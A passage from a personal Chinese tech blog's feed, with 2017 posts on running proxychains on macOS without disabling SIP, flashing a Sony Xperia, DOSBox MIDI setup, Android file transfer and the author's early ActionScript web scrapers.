当前 IP：blah blah 来自：内蒙古自治区呼和浩特市 电信
</code></pre>
<p>看来，proxychains 此时并不能让那些程序走代理。</p>
<h2>试图解决</h2>
<p>Google 了一下，发现很多博文建议关闭 SIP：</p>
<blockquote>
<p>macOS 10.11 后下由于开启了 SIP（System Integrity Protection） 会导致命令行下 proxychains-ng 代理的模式失效，如果你要使用 proxychains-ng 这种简单的方法，就需要先关闭 SIP。</p>
<p>具体的关闭方法如下：blah blah</p>
</blockquote>
<p>我不想关闭 SIP，怎么办呢？办法还是有的。</p>
<p>根据苹果的 <a href="https://support.apple.com/zh-cn/HT204899">官方说明</a>，以下路径受到保护：</p>
<pre><code>/System
/usr (不包含 /usr/local)
/bin
/sbin
Apps that are pre-installed with OS X
</code></pre>
<p>……</p>
<p>这样就知道如何解决了：把那些二进制复制到不受保护的路径，就可以了！</p>
<p>我在我的 .profile 文件中定义过这个：</p>
<pre><code class="language-bash">export PATH=/Users/tcdw/usr/bin:$PATH
</code></pre>
<p>于是我把 ssh 和 curl 复制到我的 bin 路径：</p>
<pre><code class="language-bash">cp $(which ssh) ~/usr/bin/ssh
cp $(which curl) ~/usr/bin/curl
</code></pre>
<p>再试试，果然可以代理了！</p>
<pre><code class="language-bash">tcdw@tcdw-mac.local ~ $ proxychains4 curl ip.cn
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.12_1/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.12
[proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  ip.cn:80  ...  OK
当前 IP：blah blah 来自：日本
</code></pre>
<h2>总结</h2>
<ul>
<li>把二进制放到 SIG 的保护范围以外即可正常使用 proxychains-ng，而无需关闭 SIG</li>
<li>通过 homebrew 安装的二进制基本在 <code>/usr/local</code> 目录下，因此无需担心此问题。所以，你可以直接通过 homebrew 单独安装 OpenSSH</li>
<li>你也可以考虑下 <a href="https://www.proxifier.com">Proxifier</a>，只要设置好规则即可无痛让各种应用（包括位于被保护路径的命令行工具）使用代理。这是一款商业软件，有 30 天的试用期</li>
</ul>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Xperia XZ Premium]]></title>
        <id>https://www.tcdw.net/post/xperia-xz-premium/</id>
        <link href="https://www.tcdw.net/post/xperia-xz-premium/"/>
        <updated>2017-07-03T07:17:01.000Z</updated>
        <summary type="html"><![CDATA[勘误！我 XZ Premium 附带的耳机型号是 MH750，而非之前所写的 NC750。对于这个错误深表歉意。    然后我真的买了副 NC750  我三年前的 Galaxy S5 逐渐向不可用的方向发展，于是需要换新手机了。  索尼的 Xperia XZ Premium 实在是太帅了，大概是所有骁龙 835 旗舰机中唯一一款第一眼就看中的：全玻璃镜面机身、接近原版 AOSP 的官方固件、3.5mm 耳机孔，以及靠谱一点的系统更新，但更重要的是可以体验索尼大法的力量。]]></summary>
        <content type="html"><![CDATA[<blockquote>
<p>勘误！我 XZ Premium 附带的耳机型号是 MH750，而非之前所写的 NC750。对于这个错误深表歉意。</p>
<p>然后我真的买了副 NC750</p>
</blockquote>
<p>我三年前的 Galaxy S5 逐渐向不可用的方向发展，于是需要换新手机了。</p>
<p>索尼的 Xperia XZ Premium 实在是太帅了，大概是所有骁龙 835 旗舰机中唯一一款第一眼就看中的：全玻璃镜面机身、接近原版 AOSP 的官方固件、3.5mm 耳机孔，以及靠谱一点的系统更新~~，但更重要的是可以体验索尼大法的力量~~。</p>
<p>于是下单，把国行双卡版 (G8142) 抱回了家。</p>
<p>等机器真的到手时，才发现实物比图片还漂亮，感受跟我三年前拿到 Galaxy S5 时比起来实在是强太多了。不过母上大人说手机拿起来好滑，不过我没有这种感觉，大概是我手汗比较多吧。</p>
<hr>
<p>开机以后，那系统实在是流畅的让人窒息，比 TouchWiz 强多了。更重要的是，这是官方固件。这才是我心目中的 Android 呢！</p>
<p>不过国行固件并没有 GMS，而且内置了百度全家桶（虽然可以很方便地停用）。我不想解 Bootloader 锁和 root，于是决定刷港版固件。</p>
<p>于是我用 Xperifirm 下载了港版固件，照着 Google 搜到的 Flashtool 教程开始刷机，然后卡在了奇怪的地方——</p>
<pre><code class="language-text">01/031/2017 13:31:23 - INFO  - (MainSWT.java:154) - Device disconnected
01/031/2017 13:31:56 - INFO  - (MainSWT.java:166) - Device connected with USB debugging off
01/031/2017 13:31:56 - INFO  - (MainSWT.java:167) - For 2011 devices line, be sure you are not in MTP mode
</code></pre>
<p>啊，我明明已经进入 Flashmode 了啊！最后麻烦了好几位朋友，折腾了整整一天才发现，新款的索尼手机需要用 <a href="https://forum.xda-developers.com/crossdevice-dev/sony/progress-newflasher-xperia-command-line-t3619426">Newflasher</a> 来刷，好在操作也是很容易的：</p>
<ol>
<li>安装好 Flashmode 驱动</li>
<li>把 newflasher.exe 放在已经解包的固件的目录（就是有一大堆 sin 和 ta 格式文件的那个）</li>
<li>运行 newflasher.exe</li>
</ol>
<p>终于顺利的刷好了港版固件，然后通过 Google Play 装好了所有的必需应用。这手机正式投入使用。</p>
<p><img src="https://file.tcdw.net/blog/post/2850ff3d-cb39-59ec-898c-40c3e968fff2/o_1bk4fg7hkdpqfq2al65193f9a.jpg" alt="刚刚退役的 Galaxy S5 与 XZ Premium"></p>
<p>至于它的拍照和音乐播放。。嗯，画质自然没得说。网上的样张已经很多了，这里就不会浪费诸位时间了。</p>
<p>音乐的话，我这种木耳真的听不出音质与我的 Galaxy S5 有什么显著的提升，包括一般的 m4a 和无损音乐~~（众：那你还搞业余编曲啊~~</p>
<p>顺便它附带的 MH750 耳机戴起来好别扭，那耳塞是左耳死活塞不紧，右耳反而塞的很紧，在加上那不一致的左右耳线长，感觉超级不舒服。<del>还是用 miniso 的 earpod 外形耳机好了</del></p>
<hr>
<p>这部手机是不打算折腾了，老实跟着官方 ota 走。以前我喜欢整天刷机、root、鼓捣 xposed 框架，但现在看来好没劲啊。</p>
<p>我浑浑噩噩的 Android 手机折腾史算是结束了吧。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[在 DOSBox 使用 MIDI (MT-32、GM) 音源]]></title>
        <id>https://www.tcdw.net/post/dosbox-midi-solution-windows-10/</id>
        <link href="https://www.tcdw.net/post/dosbox-midi-solution-windows-10/"/>
        <updated>2017-06-25T02:52:01.000Z</updated>
        <summary type="html"><![CDATA[20171031 更新：我发现 TiMidity+Windows Synthesizer 这玩意貌似有点不靠谱，有时候无法正确启动，所以如果遇到这问题，可以考虑 VirtualMIDISynth。  其实我真觉得这种博文不应该多出现，但 Google 了一下，似乎没有靠谱一点的中文教程，所以我写一下我的配置方法，造福萌新。]]></summary>
        <content type="html"><![CDATA[<blockquote>
<p>20171031 更新：我发现 TiMidity++ Windows Synthesizer 这玩意貌似有点不靠谱，有时候无法正确启动，所以如果遇到这问题，可以考虑 <a href="http://coolsoft.altervista.org/en/virtualmidisynth">VirtualMIDISynth</a>。</p>
</blockquote>
<p>其实我真觉得这种博文不应该多出现，但 Google 了一下，似乎没有靠谱一点的中文教程，所以我写一下我的配置方法，造福萌新。</p>
<p>于 Windows 10 x64 测试通过。</p>
<h2>准备材料</h2>
<ul>
<li><a href="http://www.dosbox.com/">DOSBox</a></li>
<li><a href="http://coolsoft.altervista.org/en/virtualmidisynth">VirtualMIDISynth</a> 或 <a href="https://zh.osdn.net/projects/twsynth/releases/">TiMidity++ Windows Synthesizer</a></li>
<li><a href="http://www.schristiancollins.com/generaluser.php">GeneralUser GS</a><br>Windows 自带的那套 MIDI 波表太！难！听！了！所以需要换个好点的合成器和波表。GeneralUser GS 波表体积只有大约 30 MB，而且比较悦耳，一般使用足矣。</li>
<li><a href="https://sourceforge.net/projects/munt/">Munt</a><br>MT-32 模拟器</li>
<li>MT-32 模拟器所需的 <a href="https://file.tcdw.net/blog/misc/MT-32%20ROMs.7z">两个 ROM 文件</a></li>
</ul>
<h2>General MIDI</h2>
<h3>VirtualMIDISynth 方案</h3>
<p>安装 VirtualMIDISynth，在桌面托盘右键，进入设置页面，添加你喜爱的波表文件。</p>
<p><img src="https://file.tcdw.net/blog/post/4e36a618-fdd2-5662-9ab7-8d0e8bb0920a/vmidisynth.png" alt="波表文件配置"></p>
<p>（图片是我从官网拿的，因为目前我只有一台 MacBook 可用</p>
<h3>TiMidity++ 方案</h3>
<p>安装 TiMidity++，然后编辑 <code>C:\timidity\Musix\timidity.cfg</code>（如果你指定了其它安装路径，就是 TiMidity 根目录下的 <code>Musix\timidity.cfg</code>），把剩下的内容都注释掉，然后指定 GeneralUser GS 的位置：</p>
<pre><code># 文件所在目录，具体视 sf2 文件放置位置决定
dir &quot;C:\&quot;

# 指定 sf2 格式的波表文件，半角引号里面就是文件名
soundfont &quot;GeneralUser GS v1.471.sf2&quot;
</code></pre>
<p>然后启动 timw32g，你可以打开一个 MIDI 文件，测试效果。</p>
<h2>Munt</h2>
<p>安装 Munt，然后打开程序，选择 Options -&gt; ROM Configuration，载入刚才下载的两个 MT-32 ROM。</p>
<p><img src="https://file.tcdw.net/blog/post/4e36a618-fdd2-5662-9ab7-8d0e8bb0920a/o_1bj9anj0p171biav1khlcd32h5a.png" alt="MT-32 ROM 加载"></p>
<h2>DOSBox</h2>
<p>敲命令 <code>mixer /listmidi</code>，会看到这样的输出：</p>
<p><img src="https://file.tcdw.net/blog/post/4e36a618-fdd2-5662-9ab7-8d0e8bb0920a/o_1bj97b6kjt1aoipii61bhu18s4a.png" alt="可用 MIDI 设备"></p>
<p>正如你所见，我们现在有 M$ 的音源、MT-32 模拟器、TiMidity++ 可选，左侧是它们对应的 ID。</p>
<p>要使用对应的 Driver，在开始菜单找到 <code>DOSBox Config</code>，打开，搜索这几行：</p>
<pre><code>[midi]
#     mpu401: Type of MPU-401 to emulate.
#             Possible values: intelligent, uart, none.
# mididevice: Device that will receive the MIDI data from MPU-401.
#             Possible values: default, win32, alsa, oss, coreaudio, coremidi, none.
# midiconfig: Special configuration options for the device driver. This is usually the id of the device you want to use.
#               See the README/Manual for more details.

mpu401=intelligent
mididevice=default
midiconfig=2
</code></pre>
<p>看到那个 <code>midiconfig=2</code> 了吗？在这个例子里，如果需要使用不同音源，把等号后面的数字改成对应的 ID（如果想要使用 MT-32 音源，就改成 1），保存配置文件，即可使用。</p>
<h2>游戏配置</h2>
<p>不同游戏有不同的设置方法，但是很多都允许你设置音源。按照游戏提示操作即可。</p>
<p><img src="https://file.tcdw.net/blog/post/4e36a618-fdd2-5662-9ab7-8d0e8bb0920a/o_1bjfdm03l1bn8rkgeg42l71i9va.png" alt="配置"></p>
<p>然后你的 DOS 游戏就有了格外动听的音乐。</p>
<h2>局限性</h2>
<ul>
<li>不是所有的游戏都支持 MIDI 音源。</li>
<li>一些游戏的 FM 音源<a href="https://youtu.be/JiZOxUhQj10?t=548">也许比 MIDI 音源动听</a>。</li>
</ul>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[昔日的折腾党]]></title>
        <id>https://www.tcdw.net/post/zheteng/</id>
        <link href="https://www.tcdw.net/post/zheteng/"/>
        <updated>2017-06-02T22:48:29.000Z</updated>
        <summary type="html"><![CDATA[五年以前的我，整天体验各种新的 Android ROM，鼓捣自己的网站，耗费大量时间在折腾的过程中，自己还乐此不疲。  五年以后的我，拥有了更丰富的计算机知识，却越来越不想折腾；我的一大宗旨就是：只要工作就行！   稀奇古怪的优化 ROM 与无 buff 的 LineageOS，选择后者]]></summary>
        <content type="html"><![CDATA[<p>五年以前的我，整天体验各种新的 Android ROM，鼓捣自己的网站，耗费大量时间在折腾的过程中，自己还乐此不疲。</p>
<p>五年以后的我，拥有了更丰富的计算机知识，却越来越不想折腾；我的一大宗旨就是：只要工作就行！</p>
<ul>
<li>稀奇古怪的优化 ROM 与无 buff 的 LineageOS，选择后者</li>
<li>Gentoo 与 Debian，选择后者</li>
<li>kate 与 vim，选择前者（如果可以）</li>
<li>宁愿写个小轮子也不愿意折腾复杂的工具</li>
</ul>
<p>如果我想恢复 efs 怎么办？折腾党的方案：</p>
<ol>
<li>下载华丽的 efs 备份工具（可能需要注册论坛账号并回复帖子）</li>
<li>安装 APK，等待</li>
<li>恢复 efs</li>
</ol>
<p>我的方案：</p>
<ol>
<li><code>adb shell</code></li>
<li><code>su</code></li>
<li><code>umount /efs</code></li>
<li><code>dd if=/sdcard/efs.img of=/dev/block/mmcblk0p3</code></li>
<li><code>reboot</code></li>
</ol>
<p>知识越丰富，折腾是完全没必要的，还可以节省大量的时间。</p>
<p>虽然更多的时候会把折腾当成浪费时间的摆脱：看，我花了这么多时间，解决了问题，多辛苦啊！</p>
<p>不过不用担心，我已经不再爱折腾了。。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Android 手机间的文件传输]]></title>
        <id>https://www.tcdw.net/post/file-transfer-android/</id>
        <link href="https://www.tcdw.net/post/file-transfer-android/"/>
        <updated>2017-05-24T17:51:35.000Z</updated>
        <summary type="html"><![CDATA[两部 Android 手机，该如何快速传输文件呢？比登天都难！   通用的方法   当然就是蓝牙了。几乎所有的 Android 手机都支持蓝牙，所以兼容性不是什么问题；但是速率实在是太！慢！了！  我们手上的资源（应用、游戏、音乐、视频等）的体积很大，但是新版蓝牙的速率依然那么慢，传个小文件的话倒没啥，但是大文件的效率真是没法忍受。]]></summary>
        <content type="html"><![CDATA[<p>两部 Android 手机，该如何<strong>快速</strong>传输文件呢？比登天都难！</p>
<h2>通用的方法</h2>
<p>当然就是蓝牙了。几乎所有的 Android 手机都支持蓝牙，所以兼容性不是什么问题；但是速率实在是太！慢！了！</p>
<p>我们手上的资源（应用、游戏、音乐、视频等）的体积很大，但是新版蓝牙的速率依然那么慢，传个小文件的话倒没啥，但是大文件的效率真是没法忍受。</p>
<p>有人跟我说有 Android Beam，但实际的传输过程依然依赖蓝牙。</p>
<h2>勉强的方法</h2>
<h3>WiFi 快传</h3>
<p>WiFi 快传看起来是个好主意，但是每家（快牙、QQ、ES 文件管理器、小米等）都有自己的专有应用，互不通用。这就导致如果对方没装某种快传应用，依然没辙。</p>
<p>QQ 国行版只是安装的人很多而已，但别忘了还有人用 QQ 国际版、TIM 之类的客户端。</p>
<h3>U 盘</h3>
<p>有 OTG 线的话，倒是可以拿 U 盘快速复制粘贴文件。但也许会有以下情况：</p>
<ul>
<li>另一部 Android 手机不支持 OTG</li>
<li>OTG 可能需要供电</li>
<li>U 盘可能不可靠</li>
<li><strong>需要两次传输，效率低</strong></li>
</ul>
<h3>网络硬盘</h3>
<p>醒醒吧，网络硬盘同样需要两次传输，而且更不可靠。</p>
<p>最重要的，如果你使用移动网络。。</p>
<h2>折腾的方法 (WiFi 或热点)</h2>
<h3>FTP</h3>
<p>一大堆文件管理器都可以担任 FTP 服务器和客户端的任务，看上去应该是比较好的主意。</p>
<p>但如果你的朋友不太会折腾，可能会比较麻烦，也许还会被认为是安装恶意软件呢。</p>
<h3>SSH</h3>
<p>LineageOS 已经内置了 ssh 客户端和服务端，用 Terminal Emulator 即可使用。其它 Android ROM 的话，需要交叉编译。</p>
<p>至于 SFTP。。我还没折腾成功，那么该如何传输文件呢？</p>
<pre><code class="language-bash">ssh shell@192.168.43.1 &#39;cat /sdcard/some.png&#39; &gt; some.png
</code></pre>
<p>总之麻烦死了。</p>
<h3>WEB 服务器</h3>
<p>用 http 方法传输文件还是 <a href="/linux-deploys-howto">可以</a> 的~~，就是恐怕会折腾到死~~。其实如果只是传输文件的话，可以 <a href="https://play.google.com/store/apps/details?id=app.eleven.com.fastfiletransfer">试试这个</a>。</p>
<p>你折腾的那些时间，文件都用蓝牙传完了。</p>
<hr>
<p>未完待续</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[胡扯：为什么需要 https]]></title>
        <id>https://www.tcdw.net/post/https-why/</id>
        <link href="https://www.tcdw.net/post/https-why/"/>
        <updated>2017-04-27T03:12:21.000Z</updated>
        <summary type="html"><![CDATA[我用一个简单的例子来告诉你为什么需要 https。  除了网站可能被运营商劫持以外，还有一个重要原因是自在。  我听过 https 无用论的支持者的一个重要观点：我的网站又没什么不良的东西，为什么要使用 https 呢？  啊，那么，如果有陌生人无故要监视你家，他说：「你又不会做什么违法的事情，为什么我不能看你呢？」]]></summary>
        <content type="html"><![CDATA[<p>我用一个简单的例子来告诉你为什么需要 https。</p>
<p>除了网站可能被运营商劫持以外，还有一个重要原因是自在。</p>
<p>我听过 https 无用论的支持者的一个重要观点：我的网站又没什么不良的东西，为什么要使用 https 呢？</p>
<p>啊，那么，如果有陌生人无故要监视你家，他说：「你又不会做什么违法的事情，为什么我不能看你呢？」</p>
<p>为了让你网站的访客自在，开启 https 吧。</p>
<p>况且现在开启 https 的门槛真的很低，有 Let&#39;s Encrypt，还有各种廉价 DV SSL 证书。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[黑历史：在 Flash 里手撕 HTML 与 JSON]]></title>
        <id>https://www.tcdw.net/post/split/</id>
        <link href="https://www.tcdw.net/post/split/"/>
        <updated>2017-04-14T06:09:01.000Z</updated>
        <summary type="html"><![CDATA[2010 年，还是小学生的我，为了开发更好的 Flash 应用，决定使用一些知名网站的结果，实现我的梦想！  我很早就学会了 JavaScript 的 split 和 join 方法，然而我想用一些替换功能，把 HTML 的一些段落替换掉再拆解。我开动脑洞，发明了这个：  javascript]]></summary>
        <content type="html"><![CDATA[<p>2010 年，还是小学生的我，为了开发更好的 Flash 应用，决定使用一些知名网站的结果，实现我的梦想！</p>
<p>我很早就学会了 JavaScript 的 <code>split</code> 和 <code>join</code> 方法，然而我想用一些替换功能，把 HTML 的一些段落替换掉再拆解。我开动脑洞，发明了这个：</p>
<pre><code class="language-javascript">replace = function (a, b, c) {
  return a.split(b).join(c);
};
</code></pre>
<p>下面让我介绍一些成功故事（</p>
<h2>2012：贴吧帖子列表读取</h2>
<p>当时我想抓取特定贴吧上的所有帖子，因为一些帖子会被吧务删掉，但我又不会其它语言，就用 Flash 做了一个。结果坑没填完，我放弃了，贴吧页面板式也变了，它失效了。</p>
<pre><code class="language-javascript">System.useCodepage = true;
function replace(a, b, c) {
	return a.split(b).join(c);
}
function del(a, b, n) {
	return a.split(b)[n];
}
function rdmtxt(num:Number) {
	r = &quot;`1234567890-=\qwertyuiop[]asdfghjkl;&#39;zxcvbnm,./~!@#$%^&amp;*()_+|QWERTYUIOP{}ASDFGHJKL:\&quot;ZXCVBNM&lt;&gt;?&quot;;
	r = r.split(&quot;&quot;);
	rr = &quot;&quot;;
	for (z=0; z&lt;num; z++) {
		rr += r[random(r.length)];
	}
	return rr;
}
var now:Number = 0;
var dc:Number = 0;
var dddd:String = &quot;&quot;;
function readTB(tbn,nn) {
	trace(1);
	var 度娘:LoadVars = new LoadVars();
	度娘.load(&quot;http://tieba.baidu.com/f?kw=&quot;+escape(tbn)+&quot;&amp;pn=&quot;+nn*50+&quot;&amp;&quot;+Math.random());
	度娘.onData = function(dat) {
		ia = &#39;&lt;a href=&quot;/p/&#39;;
		ib = rdmtxt(20);
		dd = dat;
		trace(dd);
		dd = del(dd, &#39;&lt;div id=&quot;thread_list&quot; class=&quot;thread_list&quot;&gt;&#39;, 1);
		dd = replace(dd, &quot;	&quot;, &quot;&quot;);
		dd = replace(dd, &quot;\n&quot;, &quot;&quot;);
		dd = replace(dd, &quot;\r&quot;, &quot;&quot;);
		trace(dd);
		for (i=0; i&lt;256; i++) {
			dd = replace(dd, &#39;&lt;/a&gt;&lt;/td&gt;&lt;td nowrap&gt;&#39;+i, ib+&quot;&quot;+i);
		}
		dd = replace(dd, &#39;&lt;/a&gt;&lt;/td&gt;&lt;td nowrap&gt;&#39;, &quot;&quot;);
		dd = replace(dd, &#39;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr  class=&quot;thread_alt&quot; tid=&quot;&#39;, &quot;&quot;);
		dd = replace(dd, &#39;&lt;a href=&quot;/i/sys/jump?un=&#39;, ib);
		dd = replace(dd, &#39;&quot; target=&quot;_blank&quot;&gt;&#39;, ib);
		for (i=0; i&lt;24; i++) {
			if (i&lt;10) {
				dd = replace(dd, &#39;.*0&#39;+i+&#39;:&#39;, &quot;.*&quot;+ib);
			} else {
				dd = replace(dd, &#39;.*&#39;+i+&#39;:&#39;, &quot;.*&quot;+ib);
			}
		}
		dd = replace(dd, &#39;&lt;/a&gt;[&lt;span class=&quot;red&quot;&gt;精品&lt;/span&gt;] &#39;, &quot;[精品]&quot;);
		dd = replace(dd, &#39;&lt;/a&gt;[&lt;span class=&quot;red&quot;&gt;置顶&lt;/span&gt;] &#39;, &quot;[置顶]&quot;);
		dd = replace(dd, &#39;[&lt;span class=&quot;red&quot;&gt;置顶&lt;/span&gt;] &#39;, &quot;[置顶]&quot;);
		dd = replace(dd, &#39;&lt;img class=&quot;ding_icon&quot; src=&quot;http://static.tieba.baidu.com/tb/img/frs/icon_ding.gif?v=3&quot;  title=&quot;很多人顶&quot; stats-data=&quot;fr=tb0_forum&amp;st_mod=frs&amp;st_type=comtip&quot; stats-event=&quot;mouseover&quot; /&gt;&#39;, &quot;[很多人顶]&quot;);
		dd = replace(dd, &#39;&lt;/td&gt;&lt;td nowrap&gt;&#39;, &quot;&quot;);
		dd = replace(dd, &#39;&lt;/a&gt;[&lt;span class=&quot;green&quot;&gt;投票&lt;/span&gt;] &#39;, &quot;[投票]&quot;);
		for (i=1; i&lt;13; i++) {
			dd = replace(dd, &#39;.*&#39;+i+&#39;-&#39;, &quot;.*&quot;+ib);
		}
		var dd2:Array = dd.split(ia);
		var tieba:Array = new Array();
		dd2.shift();
		dd2.pop();
		for (i=0; i&lt;dd2.length; i++) {
			dd3 = dd2[i].split(ib);
			tieba[i] = new Object({id:dd3[0], threadtitle:dd3[1], louzhu:unescape(dd3[2])});
			trace(tieba[i].id+&quot;|&quot;+tieba[i].threadtitle+&quot;|&quot;+tieba[i].louzhu);
		}
	}
}
readTB(&quot;永吧大水库&quot;,0);
</code></pre>
<h2>2012：手撕百度云实现外链解析</h2>
<p>半成品，仅适用于 2012 年内测版本的百度云。过了一段时间这半成品完全废了。</p>
<pre><code class="language-javascript">function rdmtxt(num:Number) {
    r = &quot;`1234567890-=\qwertyuiop[]asdfghjkl;&#39;zxcvbnm,./~!@#$%^&amp;*()_+|QWERTYUIOP{}ASDFGHJKL:\&quot;ZXCVBNM&lt;&gt;?&quot;;
    r = r.split(&quot;&quot;);
    rr = &quot;&quot;;
    for (z=0; z&lt;num; z++) {
        rr += r[random(r.length)];
    }
    return rr;
}
rePlace = function (a, b, c) {
    return a.split(b).join(c);
};
jdglfh = function(){
    var glfh:String = rdmtxt(10);
    var glfh1:String = rdmtxt(10);
    if(glfh == glfh1){//好吧，我承认这种情况发生几乎不可能
        jdglfh();
    }
}
getBaidu = function (aaaa) {
    jdglfh();
    k = new LoadVars();
    k.load(&quot;http://pan.baidu.com/netdisk/extractpublic?username=&quot;+aaaa);
    trace(aaaa);
    k.onLoad = function(scs) {
        if (!scs) {
            trace(&quot;未能连接到度娘网盘&quot;);
            parseBaidu = false;
        }
    };
    k.onData = function(aaa) {
        trace(&quot;网页部分完成&quot;);
        var u0:Array = new Array();
        //trace(aaa);
        asd = rePlace(asd, &#39;\/&#39;, &#39;&#39;);
        asd = rePlace(asd, &#39;&quot;fs_id&quot;:&quot;&#39;, glfh);
        asd = rePlace(asd, &#39;}]&quot;);/*]]&gt;*/&lt;/script&gt;&#39;, glfh);
        asd = rePlace(asd, &#39;&quot;,&quot;s3_handle&quot;:&quot;&#39;, glfh2);
        asd = rePlace(asd, &#39;&quot;,&quot;size&quot;:&#39;, glfh2);
        u0 = asd.split(glfh);
        u0.shift();
        u0.pop();
        trace(u0);
    };
};
getBaidu(&quot;tcdw2011&quot;);
</code></pre>
<h2>2012：手撕 115 JSON 实现外链解析</h2>
<p>我没有外链空间又想做 Flash 在线播放器，于是通过解析 115 外链，在 Flash 中实现了播放在 115 网盘分享的 MP3。</p>
<p>然而几个月以后就失效了。</p>
<pre><code class="language-javascript">// 此段代码略去了若干关于播放器本体的逻辑

rr = function (a, b, c) {
  return a.split(b).join(c);
};
get115link = function (aaaa) {
  k = new LoadVars();
  k.load(&quot;http://115.com/file/&quot; + aaaa);
  trace(aaaa);
  k.onData = function (aaa) {
    trace(&quot;网页部分完成&quot;);
    asd = aaa;
    asd = rr(asd, &#39; url: &quot;&#39;, glfh);
    asd = rr(asd, &#39;&quot;,&#39;, glfh);
    u0 = asd.split(glfh);
    grl(&quot;http://115.com&quot; + u0[1]);
  };
};
grl = function (kk) {
  asd = &quot;&quot;;
  r = new LoadVars();
  r.load(kk);
  r.onData = function (aaa) {
    asd = aaa;
    trace(&quot;读地址部分完成&quot;);
    asd = rr(asd, &#39;,&quot;url&quot;:&quot;&#39;, glfh);
    asd = rr(asd, &#39;&quot;,&quot;desc&quot;:&quot;&#39;, glfh2);
    asd = rr(asd, &#39;&quot;,&quot;weight&quot;:&#39;, glfh);
    asd = rr(asd, &quot;\/&quot;, &quot;/&quot;);
    asd = rr(asd, &quot;//&quot;, &quot;/&quot;);
    u0 = asd.split(glfh);
    asdasd0 = u0[1].split(glfh2)[0];
    asdasd1 = u0[3].split(glfh2)[0];
    trace(asdasd0);
    trace(asdasd1);
    my_sound = new Sound();
    my_sound.loadSound(asdasd0, true);
    my_sound.start(0, 1);
    // 后略
  };
};
</code></pre>
<h2>2011：手撕 QQ 空间背景音乐列表</h2>
<p>我很久以前就 <a href="https://www.tcdw.net/read-bgm-list-qzone">公开发布过</a>，不过还没有考虑拿去做完整的 Flash 播放器，因为有防盗链限制。</p>
<h2>2010：手撕 soso 音乐 HTML 搜索结果</h2>
<p>也是为了制作播放器。</p>
<h3>第一帧</h3>
<pre><code class="language-javascript">stop();
//按 Unicode 进行编码
System.useCodepage = true;
var aa:String = &quot;&quot;;
//临时记录搜索结果
var mp3Data:String;
var maxSearch:Number = 20;
var str:String = &quot;&quot;;
//记录搜索所得的歌曲数量
var now:Number = 1;

function 找内容(str1, str2) {
    var _l3 = str1.length;
    var _l2 = mp3Data.indexOf(str1, 0)+_l3;
    var _l1 = mp3Data.indexOf(str2, _l2);
    var _l4 = mp3Data.slice(_l2, _l1);
    return (_l4);
}
function 转换为数字(cont) {
    var _l2 = cont.indexOf(&quot;约&quot;, 0);
    if (_l2&gt;=0) {
        var _l1 = cont.slice(1);
    }
    _l1 = _l1.split(&quot;,&quot;).join(&quot;&quot;);
    return (Number(_l1));
}
function qieChu(s:String, k:String, j:String):String {
    var nK:Number = s.indexOf(k);
    var sK:String = s.substr(nK+k.length);
    var nJ:Number = sK.indexOf(j);
    mp3Data = sK.substr(nJ+j.length);
    return (sK.substr(0, nJ));
}
function replace(a, b, c) {
    d = a.split(b).join(c);
    return d;
}
function searchMp3(sPost:String, page:Number):Void {
    str = &quot;&quot;;
    now = 1;
    searchData.text = &quot;&quot;;
    mp3Data = &quot;&quot;;
    aa = sPost;
    var my_lv = new LoadVars();
    //发送URL请求
    my_lv.load(&quot;http://cgi.music.soso.com/fcgi-bin/m.q?w=&quot;+sPost+&quot;&amp;p=&quot;+page+&quot;&amp;source=1&amp;t=0&quot;);
    //当数据加载成功时
    onEnterFrame = function () {
        load1 = int(my_lv.getBytesLoaded()/my_lv.getBytesTotal()*100);
        searchData.text = &quot;数据下载&quot;+load1+&quot;%&quot;;
    };
    my_lv.onData = function(soso_html:String):Void  {
        delete onEnterFrame;
        searchData.text = &quot;下载完毕，正在分析...&quot;;
        //转义十六进制序列字符串。将搜索结果转为小写，便于提取。
        var s:String = soso_html.toLowerCase();
        trace(soso_html);
        //解析加载的数据
        mp3Data = s;
        gotoAndPlay(2);
    };
}
</code></pre>
<h3>第二帧</h3>
<pre><code class="language-javascript">if (mp3Data.indexOf(aa) == -1) {
 searchData.text = &quot;没有找到与 [&quot;+aa+&quot;] 相关的歌曲信息！&quot;;
 stop();
}
var mp3Str:String = qieChu(mp3Data, &#39;&lt;td class=&quot;data&quot;&gt;&#39;, &#39;&lt;/td&gt;&#39;);
//str += mp3Str + &quot;\r\n&quot;;
var a:Array = mp3Str.split(&quot;@@&quot;);
var b:Array = new Array();
for(i = 0; i &lt; a.length; i++){
    if(a[i] == &quot;&quot;){
        b.push(&quot;无&quot;);
    } else {
        b.push(a[i]);
    }
}
mp3Name = b[1];
mp3Album = b[2];
mp3Singer = b[3];
//提取MP3地址，这是最难的
//删除垃圾
b[8] = replace(b[8], &quot;fi&quot;, &quot;&quot;);
b[8] = replace(b[8], &quot;;;|si&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;;;&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;;&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;;|qq&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;|qq&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;|an&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;====&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;==|||&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;====&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;==|==&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;?httpd%&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;==|&quot;, &quot;==&quot;);
b[8] = replace(b[8], &quot;?httpd&quot;, &quot;&quot;);
b[8] = replace(b[8], &quot;si&quot;, &quot;&quot;);
//清除空白数组
var c:Array = b[8].split(&quot;==&quot;);
